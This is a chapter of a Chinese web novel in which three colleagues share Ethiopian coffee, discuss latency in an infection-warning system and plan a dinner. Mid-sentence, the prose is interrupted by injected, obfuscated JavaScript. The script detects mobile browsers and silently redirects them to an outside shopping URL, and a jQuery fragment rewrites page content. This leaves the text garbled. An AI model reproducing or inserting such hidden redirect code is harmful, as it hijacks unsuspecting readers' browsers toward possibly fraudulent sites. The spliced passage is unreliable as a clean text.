22.V2.0
作品:《Beacon灯塔之下》 佐伊的感染预警系统V2.0快要上线了。这段忙着做更新的时间里,她自己去安东尼那儿去的不多,因为医疗数据可以远程看。
反而是vital整天往安东尼办公室跑。他每次来Beacon Care协助调试硬件,都会在工具包之外提个帆布包,装满滤杯滤纸咖啡粉的那种。去一次医疗中心,约一次咖啡。
每次开始干活前,把帆布包往安东尼办公室茶几上一放,干完活了,就回来冲咖啡。每次硬件那边忙的时间都不确定,有时候一两个小时,有时候要熬一个通宵。一周要来三四天。
有一次佐伊在办公室熬了夜,她虽然不说,但明显是被新系统焦虑的睡不着,最后干脆抱着笔记本跑到安东尼办公室蹭沙发。下午两点多,vital来的时候,就看到这个整天在办公室里跟他吵“代码压缩”和“硬件兼容”的小姑娘,在自己冲咖啡时会坐一下的沙发上,裹着毯子睡成了一只猫。
安东尼看到vital推门进来,抬了抬眼,比了个别出声的手势。
vital轻手轻脚放下帆布包,转身先去IT办公室和医院核心机房。
事情办完回来是三点半。vital悄悄推开安东尼办公室的门,直直对上一双迷糊的眼睛——佐伊醒了,围着毯子坐着,一脸迷茫的样子,像是在想要不要再蜷起来睡个回笼觉。
他从来没见过佐伊这个样子。
他见过的佐伊是在会议室里对着三十几个程序员说“这个架构不行,重来”的那个人,是在白板前面画逻辑图、手指敲着马克笔、把每一个节点的参数都说得清清楚楚的那个人,是坐在技术中心的机房里、面前开着七八个窗口、手指在键盘上飞跑、头也不抬地说“你这个硬件方案 latency 太高了,回去重新算”的那个人。他没见过这个人蜷在沙发上、裹着毯子、头发翘成一团的样子。
vital没忍住,噗嗤笑了一声。
“嗯?”佐伊丢了个眼神过去。那个字带着鼻音,懒洋洋的,但里面有一种“你最好有话就说”的意味。
Vital的笑声被那个“嗯”字噎回去了。他蹲在茶几边上,把帆布包里的东西往外拿,动作都比平时小心了很多,好像怕吓到佐伊似的。“你喝咖啡吗?”他问,声音压低了,甚至活泼劲儿也努力克制了,“埃塞俄比亚,超级超级香!”
佐伊歪了歪头,看了看安东尼。安东尼点了点头。佐伊打了个呵欠,“喝的,喝一小杯。”
Vital坐在茶几边上,手冲壶悬在滤杯上方,热水细而稳地浇在咖啡粉上,气泡鼓起来,香气炸开。佐伊揉了揉眼睛,彻底醒了一些。
Vital把分享壶里的咖啡液晃了晃,倒了一小杯,大概只有正常杯量的一半,端过来递给她。
佐伊接过来,两只手捧着,没喝,先凑近闻了闻。她皱了皱鼻子,又闻了一下。
“好香。”她说,声音比刚才清亮了一点。
“埃塞俄比亚的豆子,日晒处理。”Vital说,语气里带着一点藏不住的得意,“有很明显的蓝莓和茉莉花香,尾段是红糖。”
佐伊喝了一小口。她的嘴唇碰到咖啡液的时候,嘶了一声——烫的。但她没放下,又抿了一小口,让咖啡在舌尖上停了一下,然后咽下去。
“怎么样?”Vital问,眼睛亮亮的。
“好喝。”她说,把杯子捧在手里,靠进沙发里。她的姿势很放松。毯子堆在腰上,头发还是乱的,脸上还有枕头印,但她捧着那杯咖啡,一口一口地喝,像一只终于找到暖和地方晒太阳的猫。
Vital照例分了一杯给安东尼,递过去的时候,神情里有一种“成功拓展一个重要客户”的得意。
然后他自己也倒了一杯,靠在沙发另一头,喝了一口,然后长长地呼了一口气。“今天机房那边的服务器出了点问题,”他说,“我去看了一下,是存储节点的IOPS不够,导致数据写入延迟。所以跟你那个预警系统的数据接口对接不上。”
“嗯,处理了?”佐伊吹了吹咖啡液面,头也没抬。
“嗯。我把存储系统的QoS策略调了一下,给预警系统的数据流单独划了一条优先级通道。”他看了一眼佐伊,“你那边应该感觉不到了,我中午的时候改的。”
佐伊捧着杯子,没说话。过了一会儿,她点了一下头。“看到了。”她说,“下午两点的数据同步比之前快了大概四秒。”
Vital愣了一下。“你一直在看?”
“挂了监控。”她说,语气很平淡,好像在说一件理所当然的事,“你改完以后延迟从十二秒降到了八秒,还不够,再降两秒就完美了。”
Vital张了张嘴,又闭上了。他看着佐伊的眼神变了,不是那种“哇你好厉害”的崇拜,是那种“你到底是个什么物种”的困惑。
安东尼低下头,继续写他的病程记录。
办公室里安静了一会儿。咖啡的香气还在,Vital又给自己倒了一杯。佐伊喝完了她那小半杯,把杯子放在茶几上,手指在杯沿上转了一圈。
“还要吗?”Vital问。
“不要了。”她说,“喝多了心跳快。”
Vital点了点头,给她续了一杯热水。他自己靠在沙发扶手上,两条长腿伸在茶几下面,手里捧着咖啡杯,仰头靠在靠背上,看着天花板。佐伊也仰着靠在沙发上看天花板,两条腿蜷起来,脚踩在坐垫边缘,抱着毯子,手指在毯子的毛边上捻来捻去,像在想什么心事。
安东尼抬起头的时候,就看到两个人像……造型不同的仰望天空的蘑菇,一起在研究他办公室天花板的纹路。蹲在一起沉默不语的样子,居然莫名的和谐。
“你那个延迟,”Vital忽然开口,“再降两秒的话,需要动一下数据中心的网络架构。现在的瓶颈可能在交换机上,也有可能是数据包的转发路径太长了。”
“我知道。”佐伊说,“等二期上线以后再改。现在够用。”
“够用就行?”Vital侧过头,看着她。
“目前够用就行。”她说,“先把功能跑起来,再优化。不要拘泥在一个版本里把所有问题都解决。”
Vital沉默了一会儿。“Jotish教你的?”
“不是。他没说过。”佐伊挪了挪背,让自己靠得更舒服一点,似乎在斟酌用词,“但是做系统就像做手术,不能一次把所有问题都解决。先解决最要命的,先活下来,剩下的,慢慢来。”
安东尼的笔停了一下。他抬起头,看了一眼佐伊。她没有看他,低着头,还在捻毯子的毛边。那根线被她捻得越来越细,快要断了。
“你这比喻,”Vital说,“像医生说的话。”
“我本来就是跟医生学的。”她说。
vital愣了愣:“你说什么?你跟医生学的编程?”
他这会儿完全侧过身看着佐伊,眼神里的意思,已经从“你到底是什么物种”转化为了“这世界是不是疯了”。
安东尼没忍住笑出了声。
佐伊不咸不淡看了vital一眼,神情里是很真诚的疑惑,“不,编程部分,我是跟jotish学的。你怎么会这么想。”
vital被噎了一下,不知道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410054|200420||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这句话该怎么接。
佐伊笑了,神情里露出点儿孩子气的狡黠来,把刚才那句一本正经的真诚反问衬托成了一个“故意的玩笑。”
“Vital,你以前在MIT具体做点什么?”
“做医疗影像的硬件加速,还有数据系统工程。做了三年,博士论文没写完。”褐头发大金毛有点不好意思的揉了揉后脑勺,“觉得没意思,就跑了。”
“那为什么选择Beacon?”佐伊认认真真看过去,“以你的硬件能力,随便在硅谷哪个地方都会被抢着要。”
这个看起来总是过分亢奋的大男孩突然严肃了起来,露出了就像冲咖啡时候的那种严肃认真来:“Jotish给我看了预警系统的部分代码,说这里有个团队在做救人的事,需要硬件很厉害的人来帮忙。而且,除了预警系统,可能还有能源,有运输,都在等着升级。我跟他聊了聊,发现小半个欧洲的命脉都抓在这个团队手里。这可比资本家傀儡好玩多了吧!”
“于是我就来了。”
“于是你就来了?”安东尼翻病历本的手停了停,也跟了一句。
“嗯,不然呢?”vital摊了摊手,“比起改变世界的机会。还有什么其他的东西更吸引年轻人?”
佐伊定定的看着vital没说话。
“所以那天查尔斯喊你去了。”安东尼用了一个肯定句。
“嗯,Jotish跟我直接谈的,但是来之前他就说,大老板应该还会再见我一面。我都做好准备被他踢走了,毕竟是一个没拿到学位的MIT博士候选人……不过他好像不在意这一点……”vital挠了挠头。
“他一向不怎么在意学历。”安东尼笑了笑,“也不怎么在意论文。”
“我超级惊讶!而且!年薪也超棒的!”大金毛夸张的耸了耸肩,“更舍得喝好咖啡了!”
深沉的气氛瞬间被戳了个粉粉碎。
“明天晚上都不许加班,来我家吃饭。”安东尼合上最后一份病例,金属的病历夹发出了“啪”的一声,嘴角的笑意几乎压不住,“迟到的恭喜入职。”
“真的呀?!”vital先跳了起来,“你会做啥?!但是你这恭喜至少迟到了一个多月!”
“番茄蘑菇牛肉意面。”佐伊已经直接开始点菜了,声音从毯子堆里闷闷地传出来,“我要鱼排。有柠檬汁的那种。”
“行。”安东尼看了一眼正在克制自己不要跳起来的Vital,“你呢?”
“我都行!我什么都吃!不挑食!”Vital说这句话的时候语气太诚恳了,诚恳到像一只被喂过太多过期食品的流浪狗终于找到了一个靠谱的投喂点。
佐伊从毯子边缘露出半张脸,看了Vital一眼。那个眼神里有一点困惑,有一点好笑,还有一点她很少流露出来的、属于同龄人之间的那种“你至于吗”的嫌弃。但她没说什么,又把脸缩回毯子里,只露出一撮翘起来的灰头发。
Vital没注意到那个眼神。他已经在规划明天的咖啡豆了。“你家有手冲壶吗?要不要我带?豆子我带肯尼亚的,就是那个有番茄味的,配意面应该不错——等等,番茄味意面配番茄味咖啡,是不是有点重复?”他皱着眉,很认真地思考这个问题的样子,像是在调试一个出了bug的程序。
“你带吧。”安东尼说,语气里有一点无奈,但嘴角是翘着的,“壶也带。我那儿只有速溶。”
Vital的表情像是被人在美式里加了方糖一样痛苦。“速溶。你居然真的只喝速溶。”
佐伊在毯子里闷闷地笑了一声。很轻,像猫打了个喷嚏。

